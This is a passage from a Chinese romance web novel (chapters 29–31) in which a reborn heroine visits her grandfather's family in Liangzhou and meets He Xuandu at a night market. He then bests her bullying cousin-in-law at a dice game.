柳舜华叹了口气,顿了一下,没有说话。 “小姐,等一下。” 柳舜华回身,说话的是白日里为首的老大。 那人也不顾周遭是何情境,隔着人群朝她喊道:“小姐,我叫程三,敢问小姐芳名?若是我此番大难不死,定会改邪归正,去闯一番事业来。万望小姐等我!” 柳舜华大囧,这人真是个疯子,亏得周遭之人都不熟识,否则让她日后如何自处。 曹护军抬脚走了过去,对着程三便是一记飞脚,怒道:“哪里来的鼠辈,敢在这里口出狂言,柳小姐也是你敢肖想的?” 程三白日里中了一箭,又被踹了一脚,当即倒在地上。 柳舜华瞥了他一眼,转身离开。 再回去时,马车旁却多了一个简易的营帐。 柳棠华拉着柳舜华的手往里走,“姐姐你看这个营帐如何?” 万都尉一行不足百人,像是临时出任务,应无多余准备,临时支起一顶勉强避风的营帐,自然是要留给万都尉。 柳舜华摇头道:“棠华,不可。” 万都尉不知何时走了过来,“柳小姐,你们是女子,难免有些不便,这营帐本就是为你们搭的。你们安心睡上一觉,明日一早便可启程。” 一旁的曹护军也说笑道:“都尉一直都是风餐露宿的,早习惯了。何况只是将就一晚,他自然无需营帐。这营帐确实是那些小子们为你们搭的,若是被我们万都尉住了,岂不是要让下面那些人笑话。” 话都说到这份上,柳舜华也不再推辞,道谢后便进了营帐。 说是营帐,其实不过是用一些粗布围起一个遮风之所。不过在这荒山野岭,却显得弥足珍贵。 柳棠华大咧咧躺在铺满干草的垫子上,直呼舒服。 柳舜华笑道:“原本还担心你贪吃爱玩,这一路会有不适,我也是今日才知,你这般好养。” 柳棠华翻个身,靠近柳舜华,“姐姐,这次出行虽然惊险,但我却一点都不后悔跟着。往日里,我都是听说书的讲战场上那些惊心动魄的厮杀,可今日遇着了方知惊险。” 她叹了口气,“那些世人传颂的故事,于他们而言,却是实实在在的日常,如此一想,怎不让人唏嘘。” 柳舜华头枕着手臂,看着上方漏进来的一丝星光,“是啊。我原想着,行万里路,看尽世间山水,是件畅快的事,而如今方知,世事不易。” 柳棠华静静地躺着,“他们真是不容易,拼了命的搏杀,哪个不是伤痕累累,可到头来还不知能得到什么。侥幸的还能活着,或是挣得个功名。不幸的便是马革裹尸,客死他乡。” 她喃喃道:“我真希望,这世道能一直太太平平的,四海无战事,天下晏然,每家每户都能康乐安宁。” 黑暗中,柳舜华看不清棠华的脸,可心内却莫名震动,蓦地回想起前世。 棠华被封皇后那日,她依例前去朝拜。 年轻的皇后端坐宝座之上,金光雾绕之下,稚嫩的脸上已有几分不易察觉的威仪。 她恍神了许久。 那是她第一次意识到,被她护在羽翼下的妹妹,已长出翅膀,正欲振翅高飞。 她的棠华,原来早已在不知不觉中长大了。 柳棠华尤自伤感道:“姐姐你说,明日一别,我们还能再见到他们吗?” 柳舜华拉过她的手,柔声道:“人这一生,聚散匆匆,过客太多,短暂相遇后,注定要分开。可就像流水东西,终究要归于大河。也许来日,在你不知道的时候,你们就已经重逢了。” 月光柔和,静静流照在营帐内,两人眼皮渐沉,很快睡了过去。 不知过了多久,柳舜华迷迷糊糊中醒了过来。 夜里风大,吹动着营帐,掀起一角。 她抬起眼皮向外一望,看到远处篝火旁一道熟悉的背影,就那么直直地坐在营帐外。 挺拔坚毅,不动如山,静谧似水。 一瞬间天地万物停滞,世间唯余他一人。 是她熟悉的贺玄度。 她知道,她又做梦了。 第29章 第29章好久不见 天亮后,柳舜华收拾好行囊,向万都尉告别。 万都尉道:“昨夜快马回凉州城的将士已经探过路,前方很安全,并无贼匪,柳小姐可放心前行。” 两人道谢过众将士,上了马车。 柳棠华掀开车帘,对着众人不舍地挥手,前方站着的几人眼巴巴地看着她,红了眼眶。 柳舜华目光不觉 瞥向远处对面的山顶,烟岚云岫,迷雾一片。 马车一路行得很顺,待日头升起时,凉州城已近在眼前。 “小姐,要进城了。” 柳棠华一听,整个人又活了过来,忙探出头去。 柳舜华看着渐渐多起来的人群,对着车夫道:“行慢些吧,进了城就不急了。” 还未入城,柳舜华远远瞧见城门旁立着的两个少年人。两人各自牵了一匹马,正焦急地张望着。 柳舜华叫了声“停车”,掀开车帘一跃而下。 “大表哥,二表哥,你们怎么来了?” 两人围上去,对着柳舜华瞧了又瞧,生怕她有个好歹。 “我们算了时辰,你昨日应该到的,结果死活等不到你,祖父急得一晚上没睡。” “就是,父亲担心你遇到了贼匪,让我们一早在这候着,今日若是再等不到你,父亲就要报官了。” “舜华,你这一路可还顺利?” 两人七嘴八舌,问个不停。 柳舜华作势捂住头,“你们吵得我头疼,我这不好好呢吗?” 大表哥笑道:“这就头疼了,回去有更吵的等着你呢。莹儿那丫头,自收了你的信整日里念叨着,今日非要吵着跟过来,被父亲训斥了好一顿才消停。” 柳棠华也下了车,跟着柳舜华身后,乖巧地站着。 柳舜华拉过柳棠华向两人介绍,“这个是我妹妹,棠华,小名唤芊芊。” 两人笑道:“芊芊妹妹好,果然同舜华妹妹一样,是个讨喜的。” 柳舜华又指着两人道:“这个是大表哥,陈源。二表哥,陈新。” 柳棠华躬身问好,脆生生的声音带着几分天真娇俏,让人一听便心生欢喜。 大表哥陈源道:“这里风大,你们先上车,咱们也好快些回去,我怕祖父早已等不及了。” 二人上了马车,表哥们在前引路,一行人缓缓进了城。 凉州虽不及长安繁华,却是另一番没见过的景象。道路两旁卖着长安难得一见的小玩意,胡饼夹着羊肉的香气弥散在空中,葡萄酒旗帜飞扬,不时有些金发碧眼的西域商人穿梭…… 柳棠华瞧着新奇,拉着柳舜华的衣袖,“姐姐,他们好高啊,头发眼睛也和我们不一样。” 柳舜华自幼见惯了这些西域人,并不觉得稀罕,只悄声提醒,“你小声些,他们大多都是商人,在这里待得久了,听得懂你说什么的。” 柳棠华忙闭了嘴,将目光盯向路边的新鲜瓜果。 马车行至一个岔路口,左拐又行了一段路,鼎沸的人声渐渐淡去。不多时,便在一处人家停了下来。 柳舜华听大表哥说了声“到了”,便迫不及待跳下了马车。 陈家老爷子等得不耐,一早上让人去瞧了无数次。一听到马蹄声,不顾自己行动不便的双腿,抓起拐杖,令孙女陈莹半搀着便走了出去。 陈望与刘氏跟在后面急得大叫,“父亲小心些。” 陈老爷子踉跄出门,正看到从车上跳下来的柳舜华。 他一瞬怔然,顿住了脚步,没再往前,只是盯着柳舜华发愣。 柳舜华一下车,看到外祖,扑通一声跪在地上,眼泪滚滚直下。 “外孙不孝,这么晚才来看您。” 陈老爷子身子晃了一下,忙伸手去扶跪在地上的柳舜华,一把将她揽在怀中,老泪纵横,“我的蓁蓁啊,外祖……总算是见到你了。” 众人见此情形,无不落泪。 过了许久,才擦干眼泪,迎着她们进了门。 落定后,柳舜华先向众人介绍了棠华。 一家人对着柳棠华嘘寒问暖,陈莹见棠华与她同岁,欢喜不已,拉着她的手不丢,直言要带她玩遍凉州城。 柳舜华将父亲准备的礼物交给舅父打理,又让人将自己准备的箱子抬了上来,把采买好的礼物当场分给众人。 说起来,柳舜华能如此大方,多亏了贺玄度。 贺玄度离开长安前,曾命洪声送了她两枚金饼,说是照看绿玉的谢礼。 她本是想拒的,奈何洪声不肯收。 她原想着,等贺玄度回到长安,再亲自还回去,可左等右等,都未能等到贺玄度。 后来采买钱财不够,她索性拿出一枚金饼,兑换了铜钱。 谁知越买越上瘾,不出半日,一枚金饼就这么没了。 上辈子未嫁前,柳家不过是平常人家。 出嫁后又被困在相府自顾不暇,她哪有闲心随心所欲地采买。 如今活了二十余年,头一遭感受到肆意采买的乐趣。 柳舜华当即决定,将另一块金饼也带来凉州,以备不时之需。 至于要如何还给贺玄度?算了,退来退去的,倒显得生分了。 一家人欢欢喜喜地收下礼物,直赞柳舜华有心。 柳舜华最后才笑盈盈将一株山参拿出呈给外祖。 陈老爷子接过,摸了摸盒子,“人老了,吃这么好做什么,何必要浪费。” 柳舜华打趣道:“看来外祖是对外孙的礼物不满意,那明日我再去逛逛,买一件让您满意的去。” 陈老爷子笑了:“你这丫头,这么多年过去了,还是这么贫,和你母亲一个样。” 陈老爷子有两子一女,除老大健在外,其余皆不在人世。老二自幼夭折,年岁一大,他倒渐渐忘了。 可对他的幼女,柳舜华的母亲,他一直是疼爱有加,只可惜她红颜薄命,也已早早离世。 柳舜华越大越像她母亲,数年不见,方才她下车之时,陈老爷子好一阵恍惚。 接风午宴异常丰盛,满满一大桌子的菜,看得柳舜华都有些眼花缭乱。 “舜华,这个鱼是昨日刚钓上来养着的,没有刺的,你尝尝。” “这个羊肉从昨夜就炖上了,软烂得很,快试试。” “舜华姐姐,这些菌菇是我去山上捡的,可新鲜了。” “棠华啊,别拘着,都是自己人,多吃一点。” …… 两姐妹被不停地夹菜,腮帮子鼓鼓的,根本停不下来来。 一向贪吃的柳棠华,在吃了最后一块羊肉后,实在有些吃不下了,心满意足地放下碗筷。 舅母看着吃得满嘴流油的柳棠华,直叹道:“这孩子真好,吃什么都香,不像这几个小崽子,吃个饭总挑三拣四。真的是,让我觉得我这顿饭,做得值。” 柳舜华笑得倒在椅子上,“舅母,她能吃着呢,日后少不得要麻烦你多做些饭食。” 舅母拿了帕子给柳棠华擦嘴,“女孩子家的,能吃多少,咱们养得起。” 柳棠华擦了嘴,对着舅母道:“舅母做得太好吃了,比我们家做得好吃多了,我没忍住,就吃得多了些。” 舅母喜不自胜,“这孩子可真会说话,真叫人喜欢。” 吃过饭,陈老爷子问了柳家近况,得知一切安好,柳桓安高升,心中一时欢喜,一时又感慨起他那过世的女儿没福气。 老人家到底年纪大了,昨夜又担心了一晚,一夜未得好眠,不过闲坐片刻,便有些撑不住,柳舜华忙扶了外祖去休息。 柳棠华见柳舜华得闲,跑来兴奋道:“姐姐,莹儿说今日开夜市,我也想去见识一下。” 大安有夜禁,除重要节日,晚上一律不准无故游荡。 凉州城却是个例外。 因与西域诸国通商,又处在边境要道,每月月初,十五,以及月末夜间会开市,以便百姓进行贸易。 柳舜华幼时曾随舅舅逛过夜市,不过时日久远,早已忘了是何情景。 如今听棠华说起,她心中也是蠢蠢欲动。 凉州夜市流传二十余年,集市上虽偶有争斗,但毕竟是少数。柳舜华提议去夜市时,舅舅也并未反对,只是嘱咐两兄弟好好照看舜华她们。 三姐妹回屋收拾之际,柳舜华想起表姐陈茵。表姐是家中老大,如今已经嫁人。 幼年时,表 姐待她一向亲厚。她时常跟在表姐身后,什么好吃的好玩的,但凡她喜欢,表姐都会毫不迟疑地让给她。 “莹儿,茵表姐不是嫁得不远,不知她晚些时候是否得空?若是得空,不如去请了茵表姐,咱们姐妹一起可好?” 莹儿正描眉的手顿了一下,脸上的笑倏忽僵住,“算了,她如今是大忙人,已经小半年不曾归省。前些时日祖父过寿,父亲亲自去请她回来探望,她都回绝了。还有,听说你要回来,家中也早差人去请她了,她却又推说忙。夫家高升,娘家自然配不上她这位贵夫人,还叫她作甚。” 柳舜华有些意外,印象中茵表姐性格温顺,为人敦厚老实,应不至于这么傲慢才是。 只是毕竟她已多年未见表姐,不好妄言,又不想惹莹儿不快,遂不再提。 一行人到夜市时已是人头攒动,充街塞陌。 十里长街挂起了各式花灯,灯火煌煌。酒楼商铺林立,不少铺子门前都安排了几个身穿薄衫的舞姬来招揽客人。街道两边满满当当的各式物件,看得人眼花缭乱。 往来人群穿着奇异者,数不胜数,有面具遮挡,互不相识,丝毫不必在意别的目光。 凉州夜市最初尚未经官府认证时,商贩之间多是私自交易,故为免被认出,多佩戴面具。如今夜市虽早已得官府认可,佩戴面具的习俗还是保留了下来。 入乡随俗,柳舜华也戴了一个蝴蝶面具,其余各人也都选了心仪的面具。 几人一路说说笑笑,柳棠华看什么都稀奇,一路走走停停。 路过几家酒楼时,陈莹说起了附近醉月居的胡姬古赞丽,夸她舞时喜赤足,旋转如风,随性洒脱,一舞动人心,无人可以抵抗。 柳棠华一听,蠢蠢欲动。 二表哥笑道:“还说我平日不务正业,这种声色之所,怎么你们一个个比我这个男子还要有兴致。” 陈莹撇嘴,“你们男子俗不可耐,看到美色便想据为己有,我们只是欣赏,怎么能一样。” 眼见两人又要吵起来,柳舜华忙打起圆场,“我在长安时,尤喜欢舞乐,只是还未见过胡姬跳舞,今日也想涨涨见识。” 大表哥豪爽一笑,“也好,他们家的葡萄酒,堪称一绝,许久未曾饮,我都有些馋了。” 二表哥一向听大表哥的话,自然不会再反对,一行人当即决定前往。 还未到醉月居,只听一声烟花炸响,空中霎时如星子散落,纷纷跌入人间。 人群瞬间沸腾起来,一窝蜂地向着烟花的方向冲去。 柳舜华出神地望着空中绽放的烟花,等再扭过头时,人已经被挤到挪不开脚步。 她看到大表哥紧紧拉着棠华的衣袖,对着她高喊:“老二,舜华,你们别慌,咱们醉月居见!” 柳舜华忙抬头去寻二表哥,她踮起脚,朝四周张望一圈,人群中却怎么也看不到二表哥的身影。 她有些慌张,猛一回头,才发现二表哥正站在身后。 人潮涌动,她拉紧二表哥的衣袖,“这里人多,咱们还是先避开吧。” 穿过拥挤的人群,直到走到街边石桥处,柳舜华才放开二表哥衣袖。 “方才真的好险,差点就要与表哥走散了。” 柳舜华轻喘着气,转身抬起头,才发现“二表哥”正双手抱胸,歪头看着她。 适才人多,她未曾留意,如今借着两岸的灯火一瞧,柳舜华才发觉有些不对。 她急着要看清些,一把摘下套在脸上的面具。 眼前之人虽与二表哥身量相当,带着一样的面具,同样身穿暗红柿蒂纹锦袍,腰间却多系了条玄色革带,头发简单束起,墨发肆意飞扬,姿态舒展又不羁,绝不是二表哥。 想起方才一路拉着个陌生人,柳舜华满是尴尬,不住垂头道歉,“实在对不住,我认错人了。” 两岸灯火璀璨,人声杳杳,桥下水波不止,光影浮动。 那人轻声一笑,悠然抬起一只手,缓缓将面具摘下,露出一张熟悉的脸来。 “柳舜华,好久不见。” 第30章 第30章她觉得,她摸到了月亮…… 漫天的烟花绽放在上空,拂云而过,盛开成一朵朵银色的花,落地皆春。 光影明灭,烟尘如雾,贺玄度一张脸迷幻得似在梦中。 柳舜华几乎不敢相信自己的眼睛,她上前一步,语气中是难以掩饰的愉悦,“贺玄度,怎么是你?” 贺玄度将面具收在腰间,朝她笑道:“怎么,不知道我是谁,还敢拉着我跑一路?” 柳舜华没由来一阵心慌,生怕贺玄度误会,“你的面具和我二表哥一样,我认错了。” 贺玄度歪头看着她,“你怎么也来凉州了,不会是追着我来的吧?” 柳舜华脸上一红,“谁追着你了,你一声不响就走了,我怎么会知道你来了凉州。” 贺玄度点点头,“懂了,你是怪我没有同你打招呼。” 柳舜华知道他说话不着调,不再顺着他的话。 “我外祖家也在凉州,我是来看外祖的。” 贺玄度眉头一挑,“你怎么知道,我外祖家也在凉州?” 柳舜华心内一紧,面上却不显,“恕我直言,你们贺家的事,在长安城一向流传比较广。” 贺玄度想了想,这个倒是。如今继母为人高调,整个长安几乎无人不晓。长安城贵妇们看不惯她如此嚣张跋扈,对她的出身多有诟病。每提到她,总会拉出他母亲来对比。 柳舜华想到她认错了人,二表哥他们定会着急,不敢再逗留。 “我同表哥们说好了要去醉月居,耽搁这么久,只怕他们都要等急了。” 贺玄度一听,“这么巧,我也准备去那喝酒,我送你。” 人群熙熙攘攘,贺玄度走在前面,柳舜华亦步亦趋地跟着。 贺玄度扭头看了一眼身后的柳舜华,“抓住我的衣袖,别再走散了。” 上辈子,贺玄度是她的小叔,是她暗藏在心底的一缕光,不可碰不可摸。 方才她是认错了人,才牵着他的衣袖走了一路,如今听他这么说,她却犹豫了。 她本能想伸出手,但一垂头却发现,双手紧张得握成拳头,根本张不开。 她有些懊恼,如今重活一遭,她与他之间,根本没有任何道德束缚,还害怕这些做什么。 夜风温柔,柳梢头一钩弯月。 影子晃动在石桥上,两人身影重叠。 柳舜华心旌摇曳,鬼使神差般伸出手。 贺玄度见她迟迟不动,忍不住转身,一把扯过她的衣袖,将她的手放在自己衣角。 “磨磨蹭蹭的,还不快些,再慢酒楼都要关门了。” 柳舜华浑身一颤,整个人瞬间失了神志,拉着贺玄度的衣角,恍恍惚惚。 柔顺的丝绸入手微凉,滑腻腻的触感,让人如坠云端。 有风拂过,吹得柳舜华有几分清醒。 一瞬间,柳舜华欣喜若狂。 她觉得,她触摸到了月亮。 “到了。”贺玄度声音响在耳边。 柳舜华闻声抬头,正前方“醉月居”三个大字赫然在目。 他们走得也太快了些! 两人并肩而行,柳舜华才抬脚进门,迎面一只杯盏便飞了过来。 贺玄度眼疾手快,一把拉过柳舜华,将她扯到一边。 杯盏应声碎裂。 “你陈家不过是养马的,也敢动我?”说话之人言语中尽显嚣张。 柳舜华蹙眉,陈家,养马? 他说的不正是外祖家。 柳舜华抬头循着声音望去,果见表妹陈莹正举着一个坛子大骂,“你又是个什么东西,无耻下流的玩意。我们陈家行得端站得正,坦坦荡荡,不像你一肚子龌龊,带着个不知羞耻的女人招摇过市。” 陈莹越说越气,情绪激动,整个人脸涨得通红,被两个兄弟紧紧拉住。 围观的看客都躲在一旁,无一人敢上前去。 贺玄度一副看热闹的表情,对着柳舜华道:“这个姑娘,当真厉害。” 柳舜华看了他一眼,“她是我表妹,平日虽不拘小节,但也不至于如此。今日发这么 大的火,定是受了什么委屈,气极了。” 贺玄度语气一转,嬉笑道:“原来是你表妹,真是女中豪杰。” “你知不知道她骂的是谁?如今的凉州刺史郑列的儿子,郑充。” 刺史家的公子,难怪店内出了这样的事,也不见店主出来周旋。 柳舜华瞧他衣衫半解,一脸豪横,毫无顾忌,便知不是个好相与的主。大约是怕得罪了他,家里要跟着遭殃,两个表兄这才拼命拦着莹表妹。 她这个表妹的脾气,天不怕地不怕,做事全由心。 柳舜华也忙走过去拉住表妹,“莹儿,有什么事,咱们慢慢说,先把东西放下好不好?” 陈莹自小便听柳舜华的话,一见是她,这才不情不愿地放下酒坛。 两兄弟手忙脚乱地拉着陈莹,也来不及细问柳舜华,只冲着她点了点头。 郑充正一脸不屑,一眼一瞥瞧见陈莹身边的柳舜华,一张脸娇嫩得似春日的桃花,目光流转间,天然一段动人风姿,顿觉浑身酥软。 大表哥低声劝道:“莹儿,为了大姐,你忍忍。” 陈莹听他提到大姐,怒气不消反涨,“就是为了大姐才不能忍,大庭广众之下,他公然携歌姬寻欢,将大姐置于何地?” 柳舜华总算听有些明白了,这个郑充便是她表姐夫。 二表哥跟着说道:“莹儿听话,就算你打了他一顿,又有什么用?这里人多,闹起来只会让大家难堪。” 陈莹好容易被劝住,气冲冲地坐下。 郑充身边的歌姬腻在他身上,毫不在意地缠着他的手臂。 她知晓,郑充对陈家根本就是有恃无恐。 “公子,这些人方才骂奴家不知羞耻,您就打算这么放过了?” 郑充不为所动,一双眼只盯着柳舜华看。 歌姬眼波一转,方才受了陈莹的羞辱,她有心也想让他们难堪。 于是攀上他的肩头,贴耳吹了一口气,“公子若是看上了这姑娘,我替你问问可好?” 郑充转头,一只手滑过歌姬白嫩的脸庞,“要不说我喜欢你呢,馆里这么多姑娘,就你最体贴。” 歌姬起身,腰肢轻摆,妖妖娆娆地走到柳舜华身边,“这位妹妹,不知如何称呼?” 几人方坐下,陈莹气还未顺,就见歌姬过来挑衅,且语言举止轻浮不堪,又见郑充一脸色相,瞬间反应过来。 陈莹登时大怒,猛地起身,一巴掌甩在那歌姬脸上,端起面前的酒杯泼了她一脸。 “哪里来的野鸭子,敢在这里嘎嘎乱叫。我表姐名讳,也是你配知道的。马上给我滚回去,不然我拧掉你的头。” 那歌姬知晓陈家大姑娘一向温柔软弱,只当二小姐是个雷声大雨点小的,才敢过来挑衅,不承想她竟真的下狠手。 她捂住红肿的脸,一头栽在郑充怀里,哭得梨花带雨。 “公子,奴没脸见人了。他们完全不将公子放在眼里,竟当着公子的面动手。” 郑充一再被驳了面子,霍然起身,对着陈莹骂道:“死丫头,别给脸不要脸。若不是我祖父,就凭你们区区养马的,你姐姐能入得了我们郑家。那个黄脸婆木讷蠢笨,给我提鞋都不配。你们这一家子的莽夫,还想做我们郑家的亲戚。” 此话一出,不但陈莹,就连陈家两个兄弟都忍不住了。 老大冲上前去,“郑充,我敬你是我姐夫,一再拦着,你却这般羞辱我们陈家,当真以为我们陈家怕你不成?” 老二也上去理论,“你是刺史公子又如何,你不敬长辈,不恭亲友,就算告到衙门,也有我们的理。” 郑充冷冷地瞥了他们一眼,手一挥,一旁的五六个随从便站了出来,挡在前面。 那些随从个个身形高大魁梧,若真动起手来,自家兄弟肯定讨不到好处。 柳舜华有心想上前去劝解,但见表兄们一个个剑拔弩张,根本劝不住。 她想了一下,转头对郑充施礼,“表姐夫,你今日饮了些酒,便如此大动干戈,待酒醒之后,要如何面对郑刺史,又要如何面对表姐?” “我听闻郑刺史一向治家甚严,若是让他知晓表姐夫醉酒惹事,只怕会不快。还有表姐怎么也是刺史府的少夫人,她的脸面,便是郑家的脸面。您今日这番醉话,不是羞辱表姐,是在羞辱您郑府。” 方才他不经意透露,他本不愿娶表姐,只是迫于祖父的缘由。柳舜华便知,他同她见过的那些纨绔一样,虽在外胡混,却最怕家中的老子,所以才特意拿郑刺史来压他。又怕言语中有些威胁意味,反倒激得他恼羞成怒,将事情闹大,便以他醉酒为托,给足了他脸面。 郑充一愣,细一思索,她讲得的确有几分道理。 听她语气轻柔,言笑晏晏,心内又忍不住痒痒,一双贼眼肆无忌惮地打量着她。 “原来你便是陈茵那个长安的表妹,我就说嘛,凉州怎有如此水灵的人。”他嘴角一勾,笑道:“也罢,今日看在你的面子上,我就不追究了。” 柳舜华缓缓躬身,“多谢表姐夫。” 说罢,便上前去拉大表哥,提醒他不可冲动行事,一切回家再说。 “等等,表妹,我说了,是看在你的面子上不再追究。我给足了你面子,你是不是也要给我些面子?”郑充笑中充满戏谑。 柳舜华略一思忖,微仰起头,“表姐夫想要什么面子?” 郑充抬手倒了一杯酒,往前一推,“表妹赏脸喝点酒,咱们一笑泯恩仇。” 陈莹一下跳了出来,怒道:“姓郑的,你别太过分,看我不打……” 柳舜华将她拦下,冲着她摇摇头,“凉州的葡萄酒是珍品,一杯酒而已。” 她走上前,端起面前的酒杯,一饮而尽,而后将杯子倒扣过来。 “表姐夫,够了吗?” 郑充拍手道:“好好好,表妹是个爽快人。” 话锋又一转,“不过,我说请你喝酒,可没说只喝一杯。” 柳舜华心内冷笑,看来这个郑充,果然是从一开始便打定了主意,不肯罢休。 陈莹再也忍不了,一把拉开柳舜华,眼见着就要冲出去动手。 “喝酒太无聊,听闻郑公子擅赌,不如我们赌上几局如何?” 贺玄度扒开看热闹的人群,笑着对上郑充。 郑充抬眼瞥了下贺玄度,瞧着打扮倒是挺普通,不过这张小白脸,让他很不喜欢。 “你谁啊,本公子为什么要跟你赌?” 贺玄度笑得谦和有礼,指着柳舜华道:“我是这位柳小姐的……随从。” 柳舜华转头,看了他一眼,不觉低头一笑。 堂堂相府公子,竟然装她的下人,亏他想得出来。 陈家众人看着突然冒出来的贺玄度,有些懵。他们记得柳舜华来时,好像只带了个车夫,并未见有随从。 郑充哼了一声,“一个随从,哪里有你说话的份?” 柳舜华冷声道:“他的意思就是我的意思。” 郑充闻言,眉头一挑,“好啊,本公子正愁无趣。既然你要赌,那我就同你赌。不过我丑话说在前头,若是赌输了,我要你的随从跪下给我垫脚。还要……你陪着本公子,喝光这桌上所有的酒。” 他不怀好意地盯着柳舜华,“你确定,你要赌?”【你现在阅读的是 】 30-40 第31章 第31章赌局 郑充打定主意不放过他们,即便不与他赌,他也未必会善罢甘休。 柳舜华望向贺玄度,想从他那里得到答案。 她虽与贺玄度相处时日不多,对他却也有些了解,他此刻提出对赌,应是有了对策。 贺玄度对她点了点头,目光中多了份沉稳与肯定。 这样的眼神,可靠又温柔,像极了上辈子那个熟悉的贺玄度。 这一瞬,她几乎可以肯定,贺玄度一定不会输。 她转身对上郑充,笃定道:“好,我同你赌。但若是你输了,我要你向我们陈家道歉。” 郑充张狂一笑,“你,输定了。” 他身子向前倾了倾,睨向贺玄度,“你说,赌什么?” 贺玄度随意坐了下来,伸手一摊,“郑公子身份尊贵,您定,我都可以。” 郑充狂笑,身边的随从也都跟着笑了起来。郑充常年混迹赌场,赌技更是一绝。 柳小姐这个家仆可真够狂妄的,竟然敢让他来定。 郑充冷笑一声,“我堂堂刺史府公子,需要你让。公子我也不欺负你,就按寻常赌法,猜骰子,五局定胜负。” 一旁站着的陈莹嗤笑,“嘴上说着不需要让,还不是选了自己最擅长的。” 贺玄度却毫不在意,“随你。” 很快,有人便将骰子拿了上来。 郑充将骰子扔给贺玄度,示意他检查有无问题。 贺玄度随意用手一捏,又掷了回去,“骰子没问题,可难保其他没问题。这些都是你的人,若是他们摇骰子,我不放心。” 郑充不耐道:“那你说如何?” 贺玄度抬眼看了一圈,随手指向楼梯上一个看热闹的舞姬,“就她吧。” 郑充是这里的常客,一眼认出那名舞姬不过就是给胡姬古赞丽伴舞的。 “可惜今日古赞丽不在,这个就勉强吧。” 醉月居内,客人喝得兴致上来,玩个骰子,再寻常不过。不过,往常给贵客们摇骰子助兴的,都是胡姬古赞丽。 那名舞姬见郑充点头,也不扭捏,款步走至桌前,举起骰盅摇起来。她到底是新手,摇得力度并不是很大,骰子在里面晃动不甚明显。 郑充嘴角藏不住笑意,他混迹赌场多年,结识不少能人,有几分听声辨骰的功夫。若是摇骰熟手,像是古赞丽那种,又快又猛,他精力的确要分外集中,才能勉强辨得一二。可如今这种,与他而言不过是小打小闹,听起来毫不费力。 “咚”地一声,舞姬落下骰盅。 贺玄度想也没想,抬手便将手中的酒杯推向小。 郑充轻蔑一笑,气定神闲地将酒杯放在大上。 众人屏气凝神,随着一声“开”,骰盅被舞姬缓缓掀开。 四、四、六,大。 郑充一把揽过旁边斜坐的歌姬,在她脸上拧了一把,心情大好,“区区一个随从,还妄想与本公子赌。” 一旁陈家两兄弟面面相觑,脸色瞬间不好看了,开局便输,实在不是好兆头。 陈莹顿觉不妙,用手碰了碰身旁的柳棠华,“这人真是你们随从,他能行吗?” 自郑列被提升为凉州刺史这两年,郑充便彻底卸下伪装,成日里不务正业,流连各大赌场,赌博猜拳这些,自是手到擒来。这人不过是个随从,如何赢得过。 柳棠华也不知贺玄度为何会与姐姐一同进来,还要冒充她们的随从与郑充赌。 实际上,她也急得直跺脚。 姐姐方才一是被气到了,才由着贺玄度去赌。 可愿赌服输,若当真输了,难道真要陪着这个无赖喝酒,任由他羞辱? 她神色焦急地看向柳舜华,不由怔住了。 姐姐面色平静,不见有任何慌张,只是望着贺玄度,平和而温柔。 那种眼神,她说不清。 但她知道,姐姐信他。 她道:“姐姐信他,我也信他。” 第二轮,那舞姬似乎找到了些感觉,开始摇得快了一些。 郑充听起来尚可,他抬眼看了下对面的贺玄度,只见他半闭着眼,似听非听,不知道在想什么。 陈家两兄弟暗自握紧了拳头。 关键性的一局,他可一定要争气才行。 等到骰盅揭开,陈家众人脸上一阵抽搐。 贺玄度,又输了。 郑充连赢两局,分外得意,朝着下人吩咐道:“去把酒给爷备上,有多少算多少,今日定要与表妹不醉不休。” 陈莹气得狠狠剜了他一眼,恨不得将他生吞活剥。又忍不住担忧地看向表姐,不懂她为何这么轻易答应一个随从,以至如今下不了台。 柳棠华也有些急了,她轻轻拉了一下柳舜华的衣袖,不安地望着她。 柳舜华拍拍她的肩膀,示意她放松。 可贺玄度已经连输两局,她如何能放松? 柳舜华只得凑到她耳边,轻声道:“你放心,贺玄度不会害我的,还有三局呢。” 是的,还有三局。 也就是说,接下来三局,贺玄度一定不能输。 嘴上虽这么安慰着,柳舜华依旧不免有些紧张。 郑充选择猜骰子,必定是他擅长的,从方才两场来看,也的确如此。 至于贺玄度…… 她突然记起兄长说过,贺玄度曾在赌坊一夜之间输了五万钱,不由忐忑起来。 如此看来,贺玄度赌技应是一般。既然他并不擅赌,那为何要提出与郑充对赌? 她实在想不出,接下来贺玄度要如何破局。 郑充睨了眼贺玄度,到底是个随从,只会逞口舌之能。接下来,他一定要让他输得一败涂地。 第三局,贺玄度依旧是此前漫不经心的样子,只是稍微敛了神色。 舞姬手中骰盅摇得更快了些,郑充眉头一皱,耳朵动了动,总算是确认了。 他看着对面的贺玄度,仰头道:“怎么,你先还是我先?” 贺玄度神色平静,“郑公子,请。” 郑充稳稳地将酒杯推向小,贺玄度随手一抬,选了大。 舞姬缓缓伸手,揭开骰盅。 郑充一脸自信,挑衅地望向贺玄度。 这场赌局,马上就要结束了。 “啊,啊,啊,赢了,赢了。”陈莹拉着柳棠华激动得尖叫起来。 陈家两兄弟长长松了口气。 贺玄度转头朝柳舜华一笑,示意她放宽心。 郑充低头望向桌面,傻眼了。 二、三、六,大。 明明是一、三、六,他听得真切,怎么可能会错? 他捶打着脑袋,怎么也想不明白。 贺玄度双手一拱,“郑公子,承让。” 郑充脸色铁青,“你不过才赢一局而已,本公子依旧领先。” 舞姬手中的骰盅越摇越顺手,郑充输了一局,不由紧张了起来。他瞥了一眼贺玄度,他闭目皱眉,似乎真的认真了起来。 郑充也不敢放松,忙集中精力,支起耳朵。 这次他听得真切,三、四、四。 骰盅落地,他不慌不忙道:“这次,你先来。” 贺玄度依旧是毫不迟疑,选了小。 郑充冷笑,这次他是真的输定了。 他盯紧着骰盅,看着舞姬细嫩纤细的双手将它揭开。 二、四、四,小。 郑充一下瘫软在椅背上,又错了。 他分明听得真切,为什么每次总是差那么一点点,难道是最近耳朵出了问题? 郑充陷入严重的自我怀疑。 他盯着贺玄度,见他从容依旧,甚至朝他挑眉一笑。 郑充瞬间暴怒,他终于反应过来。 眼前这个人,才是真正的高手。 他像猫捉老鼠一样,故意输了两局,就是为了戏弄他。 贺玄度抬了抬手,示意舞姬开最后一局。 郑充尤擅赌钱,凉州城的赌坊,背后大都是他在暗中操控。他混迹赌场多年,几无败绩,如今却被一个随从肆意戏弄。 他眼底充血,恶狠狠地盯着贺玄度。 贺玄度压根没去看他,又下意识回头看了一眼柳舜华。 柳舜华方才还有些紧张慌乱的心,如被春风抚过,一下安静下来。 